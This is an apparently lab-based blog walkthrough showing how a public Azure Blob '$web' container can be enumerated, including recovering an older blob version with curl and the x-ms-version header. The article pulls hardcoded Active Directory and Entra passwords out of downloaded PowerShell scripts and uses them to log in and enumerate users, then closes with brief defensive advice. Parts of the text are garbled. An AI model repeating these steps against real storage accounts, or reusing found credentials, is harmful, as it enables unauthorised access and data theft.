{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"azure-blob-container-to-initial-access-owxpm","url":"https://zyvop.com/azure-blob-container-to-initial-access-owxpm","title":"Azure Blob Container to Initial Access","subtitle":null,"tldr":"Overview: Misconfiguring public Azure Blob storage (equivalent to an S3 bucket) leading to data leakage web：http://dev.megabigtech.com/$web/index.html There is ...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["Overview: Misconfiguring public Azure Blob storage (equivalent to an S3 bucket) leading to data leakage web：http://dev.megabigtech.com/$web/index.html There is a bucket in the front-end source code:\"https://mbtwebsite.blob.core.windows.net/$web/static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css Azure Blob Storage is a scalable, secure object storage service provided by Microsoft Azure.","It allows businesses to store and manage data such as files, images, videos, and backups.","Blob storage services are highly available and a cost-effective option."],"headings":[],"outboundLinks":["http://dev.megabigtech.com/$web/index.html","https://mbtwebsite.blob.core.windows.net/$web/static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css","https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list","https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F","https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions"],"contentText":"Overview: Misconfiguring public Azure Blob storage (equivalent to an S3 bucket) leading to data leakage web：http://dev.megabigtech.com/$web/index.html There is a bucket in the front-end source code:\"https://mbtwebsite.blob.core.windows.net/$web/static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css Azure Blob Storage is a scalable, secure object storage service provided by Microsoft Azure. It allows businesses to store and manage data such as files, images, videos, and backups. Blob storage services are highly available and a cost-effective option. Replace the CSS file above with index.html from the provided URL -https://mbtwebsite.blob.core.windows.net/$web/index.html, we can see that this loads the original website and confirms our hypothesis that the website is hosted on the Azure Blob Storage service. We can also verify this by inspecting the web server response headers. Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head StatusCode : 200 StatusDescription : OK Content : RawContent : HTTP/1.1 200 OK ETag: 0x8DBD1A84E6455C0 Server: Windows-Azure-Blob/1.0 Server: Microsoft-HTTPAPI/2.0 x-ms-request-id: e57846ee-301e-0005-70b2-1b9ee4000000 x-ms-version: 2009-09-19 x-ms-lease-sta… Headers : {[ETag, System.String[]], [Server, System.String[]], [x-ms-request-id, System.String[]], [x-ms-version, System.St ring[]]…} Images : {} InputFields : {} Links : {} RawContentLength : 0 RelationLink : {} We can see that the rawcontent field in the request is not fully displayed because it is truncated. use Select-ObjectExtend RawContent Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head | Select-Object -ExpandProperty Headers Key Value ETag {0x8DBD1A84E6455C0} Server {Windows-Azure-Blob/1.0, Microsoft-HTTPAPI/2.0} x-ms-request-id {6248f175-e01e-004b-53b2-1bb06c000000} x-ms-version {2009-09-19} x-ms-lease-status {unlocked} x-ms-blob-type {BlockBlob} Date {Fri, 11 Oct 2024 07:51:17 GMT} Content-Length {782359} Content-Type {text/html} Content-MD5 {JSe+sM+pXGAEFInxDgv4CA==} Last-Modified {Fri, 20 Oct 2023 20:08:20 GMT} You can see that the server is:Windows-Azure-BloLet's look at the components of a URL. https ：使用的协议。Azure Blob 服务支持 http 和 https mbtwebsite:与网站相关联的 Azure 存储帐户的名称。Azure 存储帐户是 Microsoft Azure 中的一项基础服务，可为各种类型的数据（包括文件、blobs、表和队列）提供可扩展的持久存储。 blob.core.windows.net : 这是 Azure Blob 存储服务 web:托管网站的容器名称，位于存储账户内 index:html请求的网页 So we can explore$webcontainer and see if you can find anything else.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list This will return all blobs in the XML document! We can also specify/separator, only the directories in the container are returned.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F I only saw the source code of the websitestatic Table of contents. Let’s check if the container has versioning enabled and if we can see any previous versions of the files. When Blob storage versioning is enabled, it automatically maintains previous versions of objects and uses timestamps to identify them.https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions However, there is no such parameter (referring to version) By checking Microsoft documentation, we found that only versions 2019-12-12 and later are supportedversionsparameters. We can set curl'sx-ms-versionheader to specify the version of the operation.curl -H \"x-ms-version: 2019-12-12\" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' curl -H \"x-ms-version: 2019-12-12\" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' <?xml version=\"1.0\" encoding=\"utf-8\"?><EnumerationResults ServiceEndpoint=\"https://mbtwebsite.blob.core.windows.net/\" ContainerName=\"$web\"><Blobs><Blob><Name>index.html</Name><VersionId>2023-10-20T20:08:20.2966464Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 20:08:20 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified><Etag>0x8DBD1A84E6455C0</Etag><Content-Length>782359</Content-Length><Content-Type>text/html</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>scripts-transfer.zip</Name><VersionId>2024-03-29T20:55:40.8265593Z</VersionId><Properties><Creation-Time>Fri, 29 Mar 2024 20:55:40 GMT</Creation-Time><Last-Modified>Fri, 29 Mar 2024 20:55:40 GMT</Last-Modified><Etag>0x8DC503297FC8D79</Etag><Content-Length>1503</Content-Length><Content-Type>application/x-zip-compressed</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>1qDsI5JcoEf80LrjeE21Yg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css</Name><VersionId>2023-10-20T16:37:07.6851770Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCED483A</Etag><Content-Length>18303</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>M/behUnHOMyLlbz9NxDo3A==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/application-76970cb8dc49a9af2f2bbc74a0ec0781ef24ead86c4f7b6273577d16c2f1506a.js.download</Name><VersionId>2023-10-20T16:37:07.7741266Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFADAD2</Etag><Content-Length>70364</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>2+ukSwvKgyhElia4g09ehw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/common.js.download</Name><VersionId>2023-10-20T16:37:07.7921160Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFD9988</Etag><Content-Length>260277</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>SiG1SVedijy9PSpi3AN61A==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/css</Name><VersionId>2023-10-20T16:37:07.7911163Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCFD727B</Etag><Content-Length>61584</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>Zt5NtEoCaKZrT/2rHwSzHw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/iframe_api</Name><VersionId>2023-10-20T16:37:07.7081650Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACCF0CA32</Etag><Content-Length>993</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>mAkwQL/A6WmUU+wnZcJ27w==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/jquery-3.6.0.min.js.download</Name><VersionId>2023-10-20T16:37:07.9850044Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:07 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:07 GMT</Last-Modified><Etag>0x8DBD18ACD1AE134</Etag><Content-Length>89501</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>j7j+5PzDzIb/bHJBVMScQg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/js</Name><VersionId>2023-10-20T16:37:08.2458554Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD42D5BA</Etag><Content-Length>284312</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>KI9rEm0pK5CUJ8taqzkyJQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/magnific-popup-2f7f85183333c84a42262b5f8a4f8251958809e29fa31c65bdee53c4603502cd.css</Name><VersionId>2023-10-20T16:37:08.1818916Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD391324</Etag><Content-Length>5269</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>P+zCAqNImbva/ZDdwc9KpA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/magnific-popup.min-37130bcc3f8b01fe7473f8bb60a9aea35dc77c05eedc37fbd70135363feb6999.js.download</Name><VersionId>2023-10-20T16:37:08.1878884Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD39FD64</Etag><Content-Length>20173</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>3CUhak05JeDMk8aioBUxzw==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/player.js.download</Name><VersionId>2023-10-20T16:37:08.2508522Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD4398EA</Etag><Content-Length>37626</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>Eb3CdS92CUphY9xBUWDmxg==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/swiper-18be8aa3f032dded246a45a9da3dafdb3934e39e1f1b3b623c1722f3152b2788.css</Name><VersionId>2023-10-20T16:37:08.2588469Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD44D135</Etag><Content-Length>21726</Content-Length><Content-Type>text/css</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>O4lCx/ZgXeqvoMf7cNRlXQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/swiper.min-d36969d50f8c2fa3a00a68e55fe929e3af3fdd249cf33fd128b6a17a410e2c59.js.download</Name><VersionId>2023-10-20T16:37:08.4657280Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD646280</Etag><Content-Length>120650</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>f+8mcPo6KXeuFvr9pk2UCA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/util.js.download</Name><VersionId>2023-10-20T16:37:08.5117021Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD6B665D</Etag><Content-Length>157918</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>4lQqHVXbihhsIjwhvf1OlQ==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob><Blob><Name>static/www-widgetapi.js.download</Name><VersionId>2023-10-20T16:37:08.5806628Z</VersionId><IsCurrentVersion>true</IsCurrentVersion><Properties><Creation-Time>Fri, 20 Oct 2023 16:37:08 GMT</Creation-Time><Last-Modified>Fri, 20 Oct 2023 16:37:08 GMT</Last-Modified><Etag>0x8DBD18ACD75EC24</Etag><Content-Length>217803</Content-Length><Content-Type>application/octet-stream</Content-Type><Content-Encoding /><Content-Language /><Content-CRC64 /><Content-MD5>3+rAAKmCYIM8I8bIfkagcA==</Content-MD5><Cache-Control /><Content-Disposition /><BlobType>BlockBlob</BlobType><AccessTier>Hot</AccessTier><AccessTierInferred>true</AccessTierInferred><LeaseStatus>unlocked</LeaseStatus><LeaseState>available</LeaseState><ServerEncrypted>true</ServerEncrypted></Properties><OrMetadata /></Blob></Blobs><NextMarker /></EnumerationResults>Beautify it and find that script-transfer.zip and its version id exist.curl -H \"x-ms-version: 2019-12-12\" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip curl -H \"x-ms-version: 2019-12-12\" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip After unzipping, we can see two scripts. Below isstale_computer_accounts.ps1content. It identifies, disables, and moves obsolete computer accounts to a \"review\" OU (in-domain container object). We see it contains Active Directory administrative accountsmarcus_adm’s credentials! # Define the target domain and OU $domain = \"megabigtech.local\" $ouName = \"Review\" Set the threshold for stale computer accounts (adjust as needed) $staleDays = 90 # Computers not modified in the last 90 days will be considered stale Hardcoded credentials $securePassword = ConvertTo-SecureString \"MegaBigTech123!\" -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential (\"marcus_adm\", $securePassword) Get the current date $currentDate = Get-Date Calculate the date threshold for stale accounts $thresholdDate = $currentDate.AddDays(-$staleDays) Disable and move stale computer accounts to the \"Review\" OU Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase \"DC=$domain\" -Properties LastLogonTimeStamp -Credential $credential | ForEach-Object { $computerName = $.Name $computerDistinguishedName = $.DistinguishedName # Disable the computer account Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential # Move the computer account to the "Review" OU Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential Write-Host "Disabled and moved computer account: $computerName" } You can also see the followingentra_users.ps1Script that can perform auditing on all Entra AD users and also has hardcoded credentials # Install the required modules if not already installed Install-Module -Name Az -Force -Scope CurrentUser Install-Module -Name MSAL.PS -Force -Scope CurrentUser Import the required modules Import-Module Az Import-Module MSAL.PS Define your Azure AD credentials $Username = \"marcus@megabigtech.com\" $Password = \"TheEagles12345!\" | ConvertTo-SecureString -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password) Authenticate to Azure AD using the specified credentials Connect-AzAccount -Credential $Credential Define the Microsoft Graph API URL $GraphApiUrl = \"https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName\" Retrieve the access token for Microsoft Graph $AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token Create a headers hashtable with the access token $headers = @{ \"Authorization\" = \"Bearer $AccessToken\" \"ContentType\" = \"application/json\" } Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell $response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers Output the response (formatted as JSON) $response | ConvertTo-Json Let's runentra_users.ps1Script Successfully enabled Entra AD users to gain access in Mega Big Tech Azure account and were able to enumerate all users. Next, the users are enumerated. There is a flag in it.Get-AzADUser -SignedIn | fl Defense Delete blob history version Don’t store hard-coded data in scripts (although many people do this)","contentHash":"sha256:e56369db6bda90361818336947ff7fa52d8c193e05926c9bc50aa9f9dcc014ae","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Software engineers and developers building applications with software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":14,"wordCount":3466,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:10:24.843Z","updatedAt":"2026-08-27T03:50:00.176Z","canonicalUrl":"https://www.cdxiaodong.life/article/azure_security_blob-container-initial-access"}